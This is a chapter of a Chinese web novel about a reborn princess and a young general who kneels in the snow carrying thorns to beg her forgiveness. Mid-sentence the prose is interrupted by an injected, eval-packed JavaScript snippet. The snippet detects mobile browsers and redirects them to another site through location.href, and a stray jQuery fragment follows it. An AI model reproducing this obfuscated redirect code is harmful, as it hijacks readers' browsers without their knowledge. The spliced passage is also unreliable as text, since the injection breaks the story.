17. 负荆请罪
作品:《重生后成了少年将军的白月光》 雁雪展开了信件,看见了信纸上张狂的字迹。
长姐的字迹向来不拘于世俗,龙飞凤舞,如她本人一般明媚张扬。
雁雪在心中默念信件的内容。
“数月未见,姣姣可安好?”
没有过多的赘述,只是简简单单的一句话,却如同这凛冽寒冬中陡然降落的一束阳光。
雁雪眸中闪过一抹了然的神情,长姐向来不会特意写信给她,哪怕出征制止反叛军,途中她也不曾留下信件。
这一次……
或许是她做的太明显了,长姐……很有可能知道,此次状告国师,幕后之人就是她。
雁雪眨了眨眼,唇角微微上扬,既然长姐给她传来信件,便是小心提醒,让她做事多留心。
有长姐的庇护,她可以肆意妄为。
长姐的意思是……纵是闯下滔天巨祸,也不必慌乱。
雁雪午夜梦回之时,总是缠绵于梦魇之中,脑海中不停回荡着前世的悲惨结局,那样明媚阳光的人,最后却不得善终。
着实叫人惋惜与遗憾。
雁雪微微低垂眉眼,低声说道:“朝云,为本宫点安神香。”
“是。”朝云快速地去点燃熏香。
雁雪忽然觉得有些头疼,伸出修长白皙的指尖,轻轻按了按眉头。
这一世,她想要更改所有人的宿命,保护自己的家国。
哪怕逆天而行,招致天谴,她也无惧。
雁雪微微垂眸,看着自己洁白无瑕的掌心。
可就是这样一双手,前些日子险些将一位青年,送上了绝路。
开弓没有回头箭。
事已至此,她已经回不了头了。
雁雪的眸中划过一抹暗色,过往的天真澄澈一扫而空,所有的单纯再不见踪影,取而代之的是一双沉着冷静的眸子。
很快,安神的木质香,缓缓燃烧香炉里升起袅袅香烟。
沁人心脾的香气缓缓缠绕在她身侧,雁雪慢慢定下心神。
雁雪走到书案前,朝云为他磨墨,他手中握着狼毫笔,笔染灰墨,落在白纸上。
她只回复了简单的四个字,“一切安好。”
雁雪选择报喜不报忧,长姐忙于朝政之事,已经很辛苦了,不该再为她的事伤神。
雁雪将信纸折叠放入信封之中,重新印上蜂蜡。
“将信件交给长姐。”
“是。”暗卫双手接过信件,毕恭毕敬地回答。
“本宫乏了……”雁雪脑海中时不时闪过前世的血雨腥风,眼睛里流露出恐慌与悲伤的神情。
她微微皱起眉头,走到了床榻上,闭上了眼睛。
朝云为她盖好被子,放下帷帐,熄灭了蜡烛。
翌日清晨,一连几日不曾下雪,天气渐渐回温,冬雪消融时,院内的温度愈发的冰寒。
雁雪起身,坐在书房里翻看着公主府中的收支账簿。
“公主,不好了。”朝云慌慌忙忙的跑了过来。
雁雪微微皱起眉头,“发生什么事了?”
朝云张了张嘴,刚要说些什么,忽然想起公主昨日的警告,命她不得再提及沈小将军。
朝云面露难色,“公主打开窗子便能看见了。”
雁雪不知他葫芦里卖的什么药,当即放下账簿,缓缓起身,推开了房门走了出去。
雁雪身子弱,肩上披了一件暖和的狐毛大氅,温暖的外衣将她裹得严严实实,外头的寒风如同冰刀一般,无情地刮红了她的脸。
她站在风中,三千青丝只用随手折下的一支梅半挽起,还有一半的长发随意的披散,随风摇晃,漆黑的发丝随风飞舞。
女子面容清冷,只是温和的站在风里,天空陡然落下的一抹阳光,柔柔的落在她的身上,她身上的狐皮大氅折射着温暖的阳光,白里透着金粉。
雁雪只是微微垂眸,便看到了院子内的“盛况”。
只见少年将军脱了上衣,跪在雪地里,小麦色的身体有着健硕的胸肌,手臂上满是腱子肉,八块腹肌与人鱼线清晰可见。
他的胸膛有一道旧伤疤,从右胸横穿到左腹,本是狰狞的旧伤,经过岁月的洗涤,伤口也变得淡了许多,只留下了一道骇人的疤痕。
他面容比起前世还有几分稚嫩,但看到这道疤痕时,给他平添了几分男子气概。
少年将军跪在雪地里,背上还背着长刺的荆条。
雁雪拧了拧眉,只觉得无措,他这是唱的哪一出?
雁雪环顾四周,院子里里三层外三层的护卫,他们都眼观鼻鼻观心,大气都不敢出。
护卫和侍女们都踟蹰在原地,尴尬至极。
她脸上燥得慌,耳朵红的发烫,不知是被冻的,还是因为难堪。
雁雪险些一口气没提上来,她双手紧握成拳,咬牙切齿地说道:“沈青越你有病啊……”
少年听到他愤怒的话语,便知他心中余怒未消,拱手道:“末将自知罪无可恕,特来向公主谢罪。”
旁人的目光纷繁复杂,雁雪则是恨不得找个地缝钻进去,他前世真是瞎了眼,怎么会看上这个厚脸皮的家伙。
雁雪咬着后槽牙,从牙缝里恨恨的挤出一句,“你先起来,进来说。衣衫不整,成何体统。”
少年将军看到她脸上的愠色,固执的跪在原地,似乎想要跪到地老天荒,直到她消气为止。
雁雪见他油盐不进,咬牙问道:“是何人叫你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677314|188702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来负荆请罪的,可是长姐的意思?”
雁雪微微皱起眉头,长姐若是看谁不顺眼,必不会叫他如此,只会暗中除掉那个人。
这该不会是沈青越自个儿的意思吧?
少年将军耳朵被冻得红彤彤的,抬头看见少女柔美的面容时,脸颊微微泛红,诚恳地说道:“逸豫说了,当负荆请罪才有诚意。”
他性子直,固执又倔强,一下子就把出馊主意的人给卖了。
雁雪微微皱起眉头,“逸豫?”
这不是宋濯的字吗?
雁雪捏紧了拳头,脸上燥的慌,脸红的就像猴子屁股一般,目光飘忽不定。
她下意识小声嘟囔了一句:“你有病,他也有病。”
沈青越朗声说道:“公主若实在不解气,不如打末将一顿?”
他一脸耿直的抬头,抬头注视着她的眼睛,眸中满是内疚和自责。
寒风阵阵,这冬日冰寒,地上的积雪还未完全消融,若是再跪下去,只怕人要冻坏了。
四周的目光聚焦在他们二人身上,这公主府内不只有宫里的眼线,还有各大世家的人手。
今日沈青越整这一出,只怕不到一刻钟,便会传得满城风雨。
他要丢人就自己丢啊,干嘛要拽着她?
雁雪脸上多了几分红晕,原本白皙的面容未敷脂粉,却已显露出一层薄薄的红云。
雁雪低垂眉眼,回眸看了一样朝云,“本宫没有打人的喜好。沈小将军请回吧。”
朝云站了出来,冷声呵斥所有的仆从,“都散了,都散了。敢瞧主子热闹,你们有几条命?”
下一秒,原本洒扫的仆从和侍卫纷纷落荒而逃,如同身后有恶鬼在追一般。
沈小将军却依旧固执的跪在原地,一脸耿直地说道:“公主若实在不解气,不如打末将一顿。今日春寒,末将皮糙肉厚,抗揍。”
他就像是冥顽不化的顽石一样,固执地跪在原地。
雁雪的脚上只穿了薄薄的一层白袜,因为屋内少了炭火,她并未穿鞋,急匆匆的便走了出来。
她抬脚走下石梯,一双玉足,隔着薄薄的袜子,踩在软软的积雪上。
该说不说,除了有些冰凉,还挺舒服的。
雁雪抬脚走到沈小将军面前,垂眸,居高临下的睥睨他,“你想求得本宫的谅解?那便进来。”
然而,沈小将军只闻到了一阵清冷的梅香,看见女子近乎赤足走了过来。
他红着脸,鬼使神差的伸出了手,接住了她落下的玉足。
雁雪走的好好的,莫名其妙被人抓住了脚。
雁雪咬着后槽牙,从牙缝里挤出一句话:“沈青越,你是不是脑子有病?!”

